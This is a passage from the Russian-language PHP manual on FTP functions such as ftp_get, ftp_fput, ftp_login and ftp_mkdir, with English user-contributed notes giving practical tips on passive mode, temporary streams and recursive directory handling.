// пытаемся скачать файл и сохранить его в $handle
if (ftp_fget($ftp, $handle, $remote_file, FTP_ASCII, 0)) {
echo "Произведена запись в $local_file\n";
} else {
echo "При скачивании $remote_file в $local_file произошла проблема\n";
}

// закрытие соединения и локального файла
ftp_close($ftp);
fclose($handle);
?>

Смотрите также

  • ftp_get() - Скачивает файл с FTP-сервера
  • ftp_nb_get() - Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в локальный файл
  • ftp_nb_fget() - Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в предварительно открытом файле

User Contributed Notes

lionskape at gmail dot com 06-Feb-2017 04:38
if you are using windows ftp-server with cp1251 encoding there are some troubles with russian "я" in filename\path.

php use telnet to connect ftp-server and there are special symbol with code 255 in telnet protocol. You can try use ftp_raw($connection, 'OPTS UTF8 ON'); and work in utf-8 (if server provides it).

P.S. sorry for my bad english
mike at eastghost dot com 03-Mar-2013 02:22
You might need to use ftp_pasv() if you're behind a firewall and receiving odd timeouts, file creation but now local data saving, etc.
broom at alturnanetworks dot com 03-Oct-2008 04:49
<?php
/**
 * Function returns contents via FTP connection and returns it as string (right version...)
 */
function ftp_get_contents ($conn_id, $filename) {
    //Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

    //Get file from FTP:
    if (@ftp_fget($conn_id, $tempHandle, $filename, FTP_ASCII, 0)) {
        rewind($tempHandle);
        return stream_get_contents($tempHandle);
    } else {
        return false;
    }
}
?>
broom at alturnanetworks dot com 03-Oct-2008 04:18
Another ftp_get_contents approach, using a temperary stream handler. Returns file contents as string.

<?php
function ftp_get_contents ($conn_id, $filename,
//Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

//Get file from FTP assuming that it exists:
    ftp_fget($conn_id, $tempHandle, $filename, FTP_ASCII, 0));

    //Getting detailed stats to check filesize:
    $fstats = fstat($tempHandle);

    return fread($tempHandle, $fstats['size']);
}
?>
justrafi at gmail dot com 06-Feb-2008 08:44
I was in need to synchronize two folders on two separate servers, one is a Windows server, and the other is a Linux server. I created this short and sweet function to help me do this. PLEASE NOTICE: This will not copy folders, and probably will fail if remote folder contains anything else than files.

function sync_folders($host, $port, $username, $password, $remote_dir, $local_dir, $passive_mode = true) {
    $conn_id = ftp_connect($host, $port);
    if (!$conn_id) return false; # fail to connect
    if (!ftp_login($conn_id, $username, $password)) { ftp_close($conn_id); return false; }  # fail to login
    ftp_pasv($conn_id, $passive_mode);
    if (!ftp_chdir($conn_id, $remote_dir)) { ftp_close($conn_id); return false; } # fail to change dir
    if (substr($local_dir, -1) != '/') $local_dir .= '/';

    $list = ftp_nlist($conn_id, '.');
    sort($list);
    foreach ($list as $file) {
        if (!file_exists($local_dir . $file)) {
            $is_copied = ftp_get($conn_id, $local_dir . $file, $file, FTP_BINARY);
        }
    }
    ftp_close($conn_id);
    return true;
}
rodrigo-rocha at oi dot net dot br 06-Sep-2002 07:56
If you suply only a filename to the second parameter of function the ftp_get will open a pointer to the local file creating it and write to it.It's ok if your server dont execute for to mutch time and you dont get too many files but if you do it too many times the pointers created by ftp_get will not be closed and will end your opened files capacity at your server making it to do not open any more files until you restart it.


Загружает предварительно открытый файл на FTP-сервер

  • « ftp_fget
  • ftp_get_option »
  • PHP Manual
  • Функции FTP
  • Загружает предварительно открытый файл на FTP-сервер

ftp_fput

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_fput — Загружает предварительно открытый файл на FTP-сервер

Описание

ftp_fput(
FTP\Connection $ftp,
string $remote_filename,
resource $stream,
int $mode = FTP_BINARY,
int $offset = 0
): bool

ftp_fput() загружает данные из файлового дескриптора в удалённый файл на FTP-сервере.

Список параметров

ftp

An FTP\Connection instance.

remote_filename

Путь к удалённому файлу.

stream

Открытый файловый дескриптор локального файла. Чтение прекращается при достижении конца файла.

mode

Режим передачи. Должен быть либо FTP_ASCII, либо FTP_BINARY.

offset

Позиция начала загрузки в удалённом файле.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).
7.3.0 | Теперь параметр mode опционален. Раньше он был обязательным.

Примеры

Пример #1 Пример использования ftp_fput()

<?php

// открыть файл для чтения
$file = 'somefile.txt';
$fp = fopen($file, 'r');

// установка соединения
$ftp = ftp_connect($ftp_server);

// вход с именем пользователя и паролем
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// попытка загрузки файла
if (ftp_fput($ftp, $file, $fp, FTP_ASCII)) {
echo "Файл $file успешно загружен\n";
} else {
echo "При загрузке $file произошла проблема\n";
}

// закрываем соединение и дескриптор файла
ftp_close($ftp);
fclose($fp);

?>

Смотрите также

  • ftp_put() - Загружает файл на FTP-сервер
  • ftp_nb_fput() - Загружает предварительно открытый файл на FTP-сервер в асинхронном режиме
  • ftp_nb_put() - Загружает файл на FTP-сервер в асинхронном режиме

User Contributed Notes

roy at user dot nl 29-Apr-2013 08:22
For directly inserting content into a file on an FTP host, you could also create a string stream wich streams directly to the ftp_fput function.

This should create less overhead than first writing to any temp directories locally before streaming, as suggested here.

<?php

$string = "Your content goes here";
$stream = fopen('data://text/plain,' . $string,'r');

ftp_fput($this->connection,$pathTo,$stream, FTP_BINARY);

?>
php at cpis dot me 11-May-2012 02:32
This might be obvious to most of you, but make sure your stream isn't write-only. It has to be able to read from your stream in order to upload its contents.

Took me a while trying to figure out why my  uploaded file was 0B, and that was why.
jevin 22-Nov-2011 11:24
You might also want to note that ftp_fput will overwrite any existing file.
timgolding_10 at hotmail dot com 26-Apr-2009 07:48
If when using fput you get the one of the following errors:

Warning: ftp_fput() [function.ftp-fput]: Opening ASCII mode data connection

Warning: ftp_fput() [function.ftp-fput]: Opening BINARY mode data connection

and it creates the file in the correct location but is a 0kb file and all FTP commands thereafter fail. It is likely that the client is behind a firewall. To rectify this use:

<?php
ftp_pasv($resource, true);
?>

Before executing any put commands. Took me so long to figure this out I actually cheered when I did :D
rok dot meglic at gmail dot com 07-Nov-2008 04:35
Make sure you chdir to remote directory before using ftp_put or else ftp_put will just return error that it cannot create file. After you do the chdir you should NOT pass the whole path of file to ftp_put but just basename (filename). See example for more info.

Example:
<?php
$locpath = 'local_path/resources/js/test.js';
$rempath = 'resources/js/';
$remFile = 'test.js';

ftp_chdir($this->conn_id, $rempath);
ftp_put($this->conn_id, $remFile, $locpath, FTP_BINARY);
?>
robert b 12-Sep-2008 02:43
Using jopi paranoid fi's example, tmpfile() works on PHP 4 and 5 instead of using the php://temp file.
jopi paranoid fi 20-May-2008 12:57
When you have your file contents as a string, create temporary stream and use that as a file handle.

<?php

$contents = "This is a test file\nTesting 1,2,3..";

$tempHandle = fopen('php://temp', 'r+');
fwrite($tempHandle, $contents);
rewind($tempHandle);

ftp_fput($this->ftp, $filename, $tempHandle, FTP_ASCII);

?>
Charlie Brown 16-Apr-2008 02:19
Fails if destination file exists. Delete first and it works.
info at daniel-marschall dot de 19-Apr-2006 12:04
This is a function i wrote to copy a complete directory to a FTP-Server-folder.

function ftp_uploaddirectory($conn_id, $local_dir, $remote_dir)
{
  @ftp_mkdir($conn_id, $remote_dir);
  $handle = opendir($local_dir);
  while (($file = readdir($handle)) !== false)
  {
    if (($file != '.') && ($file != '..'))
    {
      if (is_dir($local_dir.$file))
      {
        ftp_uploaddirectory($conn_id, $local_dir.$file.'/', $remote_dir.$file.'/');
      }
      else
        $f[] = $file;
    }
  }
  closedir($handle);
  if (count($f))
  {
    sort($f);
    @ftp_chdir($conn_id, $remote_dir);
    foreach ($f as $files)
    {
      $from = @fopen("$local_dir$files", 'r');
      @ftp_fput($conn_id, $files, $from, FTP_BINARY);
    }
  }
}

Example:

$conn_id = @ftp_connect($server);
@ftp_login ($conn_id, $username, $passwort);
ftp_uploaddirectory($conn_id, 'mydirectory/', 'theftpdirectory/');
@ftp_quit($conn_id);

I hope you'll find it useful.
darian lassan at yahoo de 04-Feb-2003 10:00
If you want to pass a string containing the filename as source and not a resource handle use ftp_put() instead. Trivial but not mentioned here.


Получает текущие параметры FTP-соединения

  • « ftp_fput
  • ftp_get »
  • PHP Manual
  • Функции FTP
  • Получает текущие параметры FTP-соединения

ftp_get_option

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ftp_get_option — Получает текущие параметры FTP-соединения

Описание

ftp_get_option(FTP\Connection $ftp, int $option): int|bool

Эта функция возвращает значение запрошенной опции option для указанного FTP-соединения.

Список параметров

ftp

An FTP\Connection instance.

option

На текущий момент, поддерживаются следующие опции:

Поддерживаемые текущие опции FTP
FTP_TIMEOUT_SEC | Возвращает текущее время ожидания, используемое в сетевых операциях.
FTP_AUTOSEEK | Возвращает true, если эта опция включена, иначе false.

Возвращаемые значения

Возвращает значение в случае успешного выполнения, или false, если указанная опция option не поддерживается. В последнем случае также вызывается предупреждение.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_get_option()

<?php
// Получаем время ожидания соединения
$timeout = ftp_get_option($ftp, FTP_TIMEOUT_SEC);
?>

Смотрите также

  • ftp_set_option() - Устанавливает параметры соединения с FTP-сервером

User Contributed Notes

elamrani dot sv dot laza at gmail dot com 23-Apr-2020 06:22
Please note that you can use this function to get the value of FTP_USEPASSIVEADDRESS option also :

<?php

$conn = ftp_connect("host");
$login = ftp_login($conn, "user", "password");

var_dump(ftp_get_option($conn, FTP_USEPASVADDRESS)); // true (which is the default value)

ftp_set_option($conn, FTP_USEPASVADDRESS, false); // change the value

var_dump(ftp_get_option($conn, FTP_USEPASVADDRESS)); // false

?>


Скачивает файл с FTP-сервера

  • « ftp_get_option
  • ftp_login »
  • PHP Manual
  • Функции FTP
  • Скачивает файл с FTP-сервера

ftp_get

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_get — Скачивает файл с FTP-сервера

Описание

ftp_get(
FTP\Connection $ftp,
string $local_filename,
string $remote_filename,
int $mode = FTP_BINARY,
int $offset = 0
): bool

ftp_get() загружает удалённый файл с FTP-сервера и сохраняет его локально.

Список параметров

ftp

An FTP\Connection instance.

local_filename

Путь к локальному файлу (файл будет перезаписан, если уже существует).

remote_filename

Путь к удалённому файлу.

mode

Режим передачи. Должен быть либо FTP_ASCII, либо FTP_BINARY.

offset

Позиция начала загрузки в удалённом файле.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).
7.3.0 | Теперь параметр mode опционален. Раньше он был обязательным.

Примеры

Пример #1 Пример использования ftp_get()

<?php

// объявление переменных
$local_file = 'local.zip';
$server_file = 'server.zip';

// установка соединения
$conn_id = ftp_connect($ftp_server);

// вход с именем пользователя и паролем
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// попытка скачать $server_file и сохранить в $local_file
if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {
echo "Произведена запись в $local_file\n";
} else {
echo "Не удалось завершить операцию\n";
}

// закрытие соединения
ftp_close($conn_id);

?>

Смотрите также

  • ftp_pasv() - Включает или выключает пассивный режим
  • ftp_fget() - Скачивает файл с FTP-сервера и сохраняет его в предварительно открытом файле
  • ftp_nb_get() - Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в локальный файл
  • ftp_nb_fget() - Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в предварительно открытом файле

User Contributed Notes

mpatnode at yahoo dot com 26-Jul-2018 08:06
Note that PHP still defaults to FTP active mode by default, which is almost never used anymore since the creation of firewalls.   Don't forget to add a ftp_pasv($conn, true) after your ftp_login.
apurvavora19 at gmail dot com 23-Jul-2018 11:57
I am using ftp_get function to download a file from the FTP server to my web server where my php script is running.
On the webserver, I want the file to be downloaded to a directory which has a structure as follows -> Data/Files/localfilename.exe

However, when I specify the above string in the $local_file_name parameter of ftp_get I get an error saying the file does not exist.

I am running a Windows Server and the php script is running from C:/xampp/htdocs/file.php

Is there any way where I can specify the path on the web server where the file is supposed to be downloaded ?
scott dot chu at udngroup dot com 30-Aug-2016 07:23
I'd suggest use ftp_fget() instead of ftp_get() since the latter only return TRUE or FALSE and there's no obvious way to get the cause of failure.

   Using ftp_fget,  you have to pass a file handle as local file, so you have to do fopen() first. By way of this, you can find 'Permission Denied' problem when call fopen(). If you use ftp_get(), there's no way to find this error cause.

   In my case, I run httpd using 'nobody' and I create ftp local folder using 'haha'. It tooks me long time to find the 'Permission Denied' problem at that time since  I use ftp_get() then.
bob at notallhere dot com 03-Apr-2013 05:50
Don't want to use an intermediate file?  Use 'php://output' as the filename and then capture the output using output buffering.

ob_start();
$result = ftp_get($ftp, "php://output", $file, FTP_BINARY);
$data = ob_get_contents();
ob_end_clean();

Don't forget to check $result to make sure there wasn't an error.  After that, manipulate the $data variable however you want.
miki at epoch dot co dot il 23-Dec-2012 09:32
If you ran the example and see that it fail after 90sec (timeout).

Then try adding:
<?php
ftp_pasv($ftp_conn, true);
?>
Ben Parish 26-Jan-2012 01:14
On Windows (and possibly *NIX) you will get "[function.ftp-get]: failed to open stream: No such file or directory in..." errors if the local_file path contains directory paths that do not already exist.

Even with write permissions ftp_get can create the file but it will NOT automatically create the parent directories as you might expect.
danny at ingeniarte dot com 25-Nov-2010 03:37
Remember to use the full server paths to the directories you are working on. Server paths are not the same as "ftp paths".

I was using the path displayed on my FTP client to download and upload files and I kept getting "Not found" or "Permission Denied" errors.
CuDi 22-Oct-2009 07:50
I tried to ftp a 7mb file today off my webserver.

I copied this example directly and it told me.

Port command successful
"there was a problem"

I thought it was because of the size.
But I guessed it might be cause of my firewall.

So I made the ftp connection passive:

<?PHP

  ...
  $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
  ftp_pasv($conn_id, true);

?>

Ran the script again & it worked fine.

Hope this helps someone
mroerick at gmx dot net 15-May-2009 12:42
ftp_sync is a way to walk the directory structure on the server and copy every directory and file to the same location locally.

<?php
$ftp_server = "ftp.example.com";
$conn_id = ftp_connect ($ftp_server)
    or die("Couldn't connect to $ftp_server");

$login_result = ftp_login($conn_id, "user", "pass");
if ((!$conn_id) || (!$login_result))
    die("FTP Connection Failed");

ftp_sync ("DirectoryToCopy");    // Use "." if you are in the current directory

ftp_close($conn_id);

// ftp_sync - Copy directory and file structure
function ftp_sync ($dir) {

    global $conn_id;

    if ($dir != ".") {
        if (ftp_chdir($conn_id, $dir) == false) {
            echo ("Change Dir Failed: $dir<BR>\r\n");
            return;
        }
        if (!(is_dir($dir)))
            mkdir($dir);
        chdir ($dir);
    }

    $contents = ftp_nlist($conn_id, ".");
    foreach ($contents as $file) {

        if ($file == '.' || $file == '..')
            continue;

        if (@ftp_chdir($conn_id, $file)) {
            ftp_chdir ($conn_id, "..");
            ftp_sync ($file);
        }
        else
            ftp_get($conn_id, $file, $file, FTP_BINARY);
    }

    ftp_chdir ($conn_id, "..");
    chdir ("..");

}
?>
w dot danford at electronics-software dot com 10-Nov-2008 02:06
A subtle issue with the ftp_get() function. The second param, string $local_file, is a file name on the SERVER running the php script. It is NOT a file on the client machine running the browser. I erroneously tried to use this ftp to download a file from my site to my local system. I entered the full path starting with the drive letter ("h:/...") on a system running WIN XP and kept getting a failure of unable to open (destination) file. Only after just putting in a file name with no pathing did I see where the file was written. It was in the directory on my site where the php script is located (hosting is managed shared LAMP server which supports multiple url's, GoDaddy hosting).
Nate from ruggfamily.com 22-Oct-2008 02:12
Here's a quick function that figures out the correct mode to use based on a file's extension.

<?php
function get_ftp_mode($file)
{
    $path_parts = pathinfo($file);

    if (!isset($path_parts['extension'])) return FTP_BINARY;
    switch (strtolower($path_parts['extension'])) {
        case 'am':case 'asp':case 'bat':case 'c':case 'cfm':case 'cgi':case 'conf':
        case 'cpp':case 'css':case 'dhtml':case 'diz':case 'h':case 'hpp':case 'htm':
        case 'html':case 'in':case 'inc':case 'js':case 'm4':case 'mak':case 'nfs':
        case 'nsi':case 'pas':case 'patch':case 'php':case 'php3':case 'php4':case 'php5':
        case 'phtml':case 'pl':case 'po':case 'py':case 'qmail':case 'sh':case 'shtml':
        case 'sql':case 'tcl':case 'tpl':case 'txt':case 'vbs':case 'xml':case 'xrc':
            return FTP_ASCII;
    }
    return FTP_BINARY;
}

// sample usage
ftp_get($conn_id, $local_file, $server_file, get_ftp_mode($server_file));
?>
Aditya P dot Bhatt (adityabhai at gmail dot com) 25-Mar-2008 03:40
<?php
                // define some variables
        $folder_path = "YOUR FOLDER PATH";
        $local_file = "LOCAL FILE PATH";
        $server_file = "SERVER FILE PATH";

        //-- Connection Settings
        $ftp_server = "IP ADDRESS"; // Address of FTP server.
        $ftp_user_name = "USERNAME"; // Username
        $ftp_user_pass = "PASSWORD"; // Password
        #$destination_file = "FILEPATH";

        // set up basic connection
        $conn_id = ftp_connect($ftp_server);

        // login with username and password
        $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

        // try to download $server_file and save to $local_file
        if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {
            echo "Successfully written to $local_file\n";
        } else {
            echo "There was a problem\n";
        }

        // close the connection
        ftp_close($conn_id);
?>
anomie at users dot sf dot net 30-Jan-2007 07:24
Crud. The _nb_ only refers to reading from the ftp server, and the buffer in the socket pair is only about 364 bytes. So it doesn't work for files larger than that size.
anomie at users dot sf dot net 25-Jan-2007 09:50
Why there isn't an "ftp_get_contents" function, I don't know. It takes a little work to emulate one, but it's doable.
<?php
function ftp_get_contents($ftp_stream, $remote_file, $mode, $resume_pos=null){
    $pipes=stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
    if($pipes===false) return false;
    if(!stream_set_blocking($pipes[1], 0)){
        fclose($pipes[0]); fclose($pipes[1]);
        return false;
    }
    $fail=false;
    $data='';
    if(is_null($resume_pos)){
        $ret=ftp_nb_fget($ftp_stream, $pipes[0], $remote_file, $mode);
    } else {
        $ret=ftp_nb_fget($ftp_stream, $pipes[0], $remote_file, $mode, $resume_pos);
    }
    while($ret==FTP_MOREDATA){
        while(!$fail && !feof($pipes[1])){
            $r=fread($pipes[1], 8192);
            if($r==='') break;
            if($r===false){ $fail=true; break; }
            $data.=$r;
        }
        $ret=ftp_nb_continue($ftp_stream);
    }
    while(!$fail && !feof($pipes[1])){
        $r=fread($pipes[1], 8192);
        if($r==='') break;
        if($r===false){ $fail=true; break; }
        $data.=$r;
    }
    fclose($pipes[0]); fclose($pipes[1]);
    if($fail || $ret!=FTP_FINISHED) return false;
    return $data;
}
?>

Something similar would work to write a ftp_put_contents function, too.
administrator at gesoft dot org 12-Aug-2006 03:05
Hello everybody,

If someone will try to download files to the same local file (some temporary file), like shown here:

<?php
foreach ($files as $key=>$path) {
...
  $result = ftp_get($ftpConnId, 'temp.tmp', $path, FTP_BINARY);
...
}
?>

please take in consideration the fact that you will have big problems with downloading (getting) hole files. In other words 'temp.tmp' file always will have the same size equal to first downloaded file despite the real size of downloading file. I have not idea what is the reason!

If someone will think that problem is just in getting proper file size (which you will get using filssize() function) he will be mistaken. The download file's size is not equal to source file's size materially, that means fflush() function will not solve the problem (I have tried this as well).

Finally the solution was founded: before downloading a file you will need to delete local file if such exist ('temp.tmp'). So working code will look like:

<?php
foreach ($files as $key=>$path) {
...
  if (file_exists('temp.tmp')) {
    unlink('temp.tmp');
  }
  $result = ftp_get($ftpConnId, 'temp.tmp', $path, FTP_BINARY);
...
}
?>

Good luck in scripting :-)

Vitali Simsive
corey-holzer at nyc dot rr dot com 23-Jan-2004 06:20
The zero size file is not a side effect.  When the ftp_get starts the first thing it does is to create the inode/file which it will stream the data too and that is a zero size file with the nname you specified for the local file.  When the download fails it leaves the file in place.
thivierr at telus dot net 22-Nov-2003 02:25
If you previously downloaded a file before (like a huge web log), and just want to get the remaining portion, do this:

$local_file_size = filesize($local_file_path);
$get_result = ftp_get($conn_id, $local_file_path, $remote_file_path, FTP_BINARY, $local_file_size);

This same code works regardless of wether the local file exists already or not.  You should first test to make sure the local file is not bigger than the remote file.
ramiro at qusarcr dot com 06-Nov-2002 07:36
Keep in mind that ftp_get will overwrite the file on your local machine if it has the same name.


Выполняет вход на FTP-сервер

  • « ftp_get
  • ftp_mdtm »
  • PHP Manual
  • Функции FTP
  • Выполняет вход на FTP-сервер

ftp_login

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_login — Выполняет вход на FTP-сервер

Описание

ftp_login(FTP\Connection $ftp, string $username, string $password): bool

Выполняет вход на FTP сервер.

Список параметров

ftp

An FTP\Connection instance.

username

Имя пользователя (USER).

password

Пароль (PASS).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Если войти на сервер не удалось, PHP выведет предупреждение.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_login()

<?php

$ftp_server = "ftp.example.com";
$ftp_user = "foo";
$ftp_pass = "bar";

// установить соединение или выйти
$ftp = ftp_connect($ftp_server) or die("Не удалось установить соединение с $ftp_server");

// попытка входа
if (@ftp_login($ftp, $ftp_user, $ftp_pass)) {
echo "Произведён вход на $ftp_server под именем $ftp_user\n";
} else {
echo "Не удалось войти под именем $ftp_user\n";
}

// закрыть соединение
ftp_close($ftp);
?>

User Contributed Notes

Anonymous 07-Dec-2015 05:57
from: http://www.ietf.org/rfc/rfc1635.txt

"What is Anonymous FTP?
"...
"Traditionally, this special anonymous user account accepts any string as a password, although it is common to use either the password "guest" or one's electronic mail (e-mail) address.  Some archive sites now explicitly ask for the user's e-mail address and will not allow login with the "guest" password.  Providing an e-mail address is a courtesy that allows archive site operators to get some idea of who is using their services. "

So your code would be:
<?php
ftp_login('ftp.example.com', 'anonymous', 'user@example.com');
?>

If a blank password works, you might have a default password set in your php.ini
Travis Weston 09-Sep-2014 08:47
To suppress the PHP warning, just prepend the function with the error suppression character @. I'm usually against error suppression, but apparently some genius thought it was a good idea to really drive the point home that you have a bad login. Returning false wasn't enough?

if( ! @ftp_login( $connection, 'USERNAME', 'PASSWORD' ) ){
        die( 'Bad login, but no PHP warning thrown.');
}
mattsch at gmail dot com 30-Nov-2010 08:12
Note that to make an anonymous ftp connection, you need to specify "anonymous" as the username and "" (empty string) as the password.

Example:
<?php
ftp_login('ftp.example.com', 'anonymous', '');
?>


Возвращает время последней модификации файла

  • « ftp_login
  • ftp_mkdir »
  • PHP Manual
  • Функции FTP
  • Возвращает время последней модификации файла

ftp_mdtm

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_mdtm — Возвращает время последней модификации файла

Описание

ftp_mdtm(FTP\Connection $ftp, string $filename): int

ftp_mdtm() возвращает время последней модификации удалённого файла.

Замечание:

Не все серверы поддерживают эту функцию!

Замечание:

ftp_mdtm() не работает с директориями.

Список параметров

ftp

An FTP\Connection instance.

filename

Файл, время модификации которого надо получить.

Возвращаемые значения

Возвращает время последней модификации виде локальной временной метки Unix или -1 в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_mdtm()

<?php

$file = 'somefile.txt';

// установка соединения
$ftp = ftp_connect($ftp_server);

// вход с именем пользователя и паролем
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// получение времени модификации файла
$buff = ftp_mdtm($ftp, $file);

if ($buff != -1) {
// дата последней модификации somefile.txt : March 26 2003 14:16:41.
echo "Дата последней модификации $file : " . date("F d Y H:i:s.", $buff);
} else {
echo "Не удалось выполнить mdtime";
}

// закрытие соединения
ftp_close($ftp);

?>

User Contributed Notes

mawkapelle at gmail dot com 15-Nov-2018 09:13
Wrapped the above in a function, for easy use:

function getMtime($filename, $server, $login, $pwd){

    // set up connection
    $conn_id = ftp_connect($server) or die("ERROR:Could not connect to $server");

    // login
    $login_result = ftp_login($conn_id, $login, $pwd);

    //  get the last modified time for our file
    $buff = ftp_mdtm($conn_id, $filename);

    // close the connection
    ftp_close($conn_id);

    if ($buff != -1) {
        // somefile.txt was last modified on: March 26 2003 14:16:41.
        return "$filename was last modified on : " . date("F d Y H:i:s.", $buff);
    } else {
        return "ERROR: Could not retrieve mdtime";
    }
}

$filename='example.csv';
$server='ftp.example.nl';
$login='supersecureloginhere';
$pwd='supersecurepwd';

$mtime=getMtime($filename, $server, $login, $pwd);
echo $mtime;
Jaytop 12-Jun-2005 12:51
Seems to work with directories as well on my Win32 box.
wseibert at hxcorp dot com 04-Nov-2004 12:55
When trying to get the modified time of a file that has spaces in it, ftp_mdtm will fail on some FTP servers.  If this happens, surround the file name with quotes.

$file_name = "my index.html";

$file_modtime = ftp_mdtm($connection, '"'.$file_name.'"')


Создаёт директорию

  • « ftp_mdtm
  • ftp_mlsd »
  • PHP Manual
  • Функции FTP
  • Создаёт директорию

ftp_mkdir

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_mkdir — Создаёт директорию

Описание

ftp_mkdir(FTP\Connection $ftp, string $directory): string|false

Создаёт директорию directory на FTP-сервере.

Список параметров

ftp

An FTP\Connection instance.

directory

Имя создаваемой директории.

Возвращаемые значения

Возвращает имя только что созданной директории в случае успешного выполнения или false в противном случае.

Ошибки

Выдаёт ошибку уровня E_WARNING, если каталог уже существует или соответствующие права доступа препятствуют созданию каталога.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_mkdir()

<?php

$dir = 'www';

// установка соединения
$ftp = ftp_connect($ftp_server);

// вход с именем пользователя и паролем
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// попытка создания директории $dir
if (ftp_mkdir($ftp, $dir)) {
echo "Создана директория $dir\n";
} else {
echo "Не удалось создать директорию $dir\n";
}

// закрытие соединения
ftp_close($ftp);
?>

Смотрите также

  • ftp_rmdir() - Удаляет директорию

User Contributed Notes

postmaster at 250union dot community 13-May-2018 11:25
if(!@ftp_chdir($ftpcon, $part)){
         ftp_mkdir($ftpcon, $part);
         ftp_chdir($ftpcon, $part);
         //ftp_chmod($ftpcon, 0777, $part);
      }

This if part of answer below, if you want working chmod you need to replace it with:

      if(!@ftp_chdir($ftpcon, $part)){
         ftp_mkdir($ftpcon, $part);
         ftp_chmod($ftpcon, 0777, $part);
         ftp_chdir($ftpcon, $part);
      }
4alexr at gmail dot com 07-Nov-2017 11:27
Updated and correct code for making recursive directories:

/**
  * A function to create ftp directories recursively.
  *
  * @param     $ftpcon the ftp connection resource
  * @param     $baseDir
  * @param     $path
  * @param int $mode
  * @return bool
  */
function ftp_mksubdirs($ftpcon, $baseDir, $path, $mode = 0775) {
    $path = dirname($path);

    if ($baseDir !== DIRECTORY_SEPARATOR && strpos($path, $baseDir) !== false) {
        if (empty($path)) {
            // $baseDir equals to $path, it can only mean that this folder already exists
            return false;
        }

        if ($path[0] == DIRECTORY_SEPARATOR) {
            $path = substr($path, 1);
        }
    } else {
        if ($path[0] == DIRECTORY_SEPARATOR) {
            $path = substr($path, 1);
        }
    }

    @ftp_chdir($ftpcon, $baseDir);
    $parts   = explode(DIRECTORY_SEPARATOR, $path);
    $created = [];
    foreach ($parts as $part) {
        if (!@ftp_chdir($ftpcon, $part)) {
            $createdDir = @ftp_mkdir($ftpcon, $part);

            if ($createdDir !== false) {
                ftp_chmod($ftpcon, $mode, $createdDir);
            }

            $created[] = $createdDir;
            @ftp_chdir($ftpcon, $part);
        }
    }

    return !in_array(false, $created);
}
PINAR Musa 11-Jun-2013 08:32
Here's the correct code for making recursive directories:

<?php

// function
function ftp_mksubdirs($ftpcon,$ftpbasedir,$ftpath){
   @ftp_chdir($ftpcon, $ftpbasedir); // /var/www/uploads
   $parts = explode('/',$ftpath); // 2013/06/11/username
   foreach($parts as $part){
      if(!@ftp_chdir($ftpcon, $part)){
         ftp_mkdir($ftpcon, $part);
         ftp_chdir($ftpcon, $part);
         //ftp_chmod($ftpcon, 0777, $part);
      }
   }
}

// usage
$path_of_storage = '/var/www/uploads';
$newftpdir = '2013/06/11/username';

$conn_id = ftp_connect($ftpserver);
ftp_login($conn_id, $login, $pass);
ftp_mksubdirs($conn_id,$path_of_storage,$newftpdir);
ftp_close($conn_id);

?>
butch AT 4RealMedia dot com 12-Sep-2006 11:26
When trying to user the ftp_mkdir, or ftp_chdir I've noticed that some servers like the entire path such as

/usr/local/home/username/sitename/directory/

and other servers, want you to use the path from the initial login, such as just /sitename/directory/

Just wanted to pass this on
vladimir at lukianov dot name 15-Mar-2004 10:28
For recurrent following function work better.
Some ftp servers (like WarFTP) become demented if you'll
try mkdir not from root dir and if path will be relative.
The second if one of dir (like '/') already exist You'll get access denied.

<?php
 function MkDir($path)
  {
   $dir=split("/", $path);
   $path="";
   $ret = true;

   for ($i=0;$i<count($dir);$i++)
   {
       $path.="/".$dir[$i];
       echo "$path\n";
       if(!@ftp_chdir($this->conn_id,$path)){
         @ftp_chdir($this->conn_id,"/");
         if(!@ftp_mkdir($this->conn_id,$path)){
          $ret=false;
          break;
         }
       }
   }
   return $ret;
  }
?>


Возвращает список файлов в заданной директории

  • « ftp_mkdir
  • ftp_nb_continue »
  • PHP Manual
  • Функции FTP
  • Возвращает список файлов в заданной директории

ftp_mlsd

(PHP 7 >= 7.2.0, PHP 8)

ftp_mlsd — Возвращает список файлов в заданной директории

Описание

ftp_mlsd(FTP\Connection $ftp, string $directory): array|false

Список параметров

ftp

An FTP\Connection instance.

directory

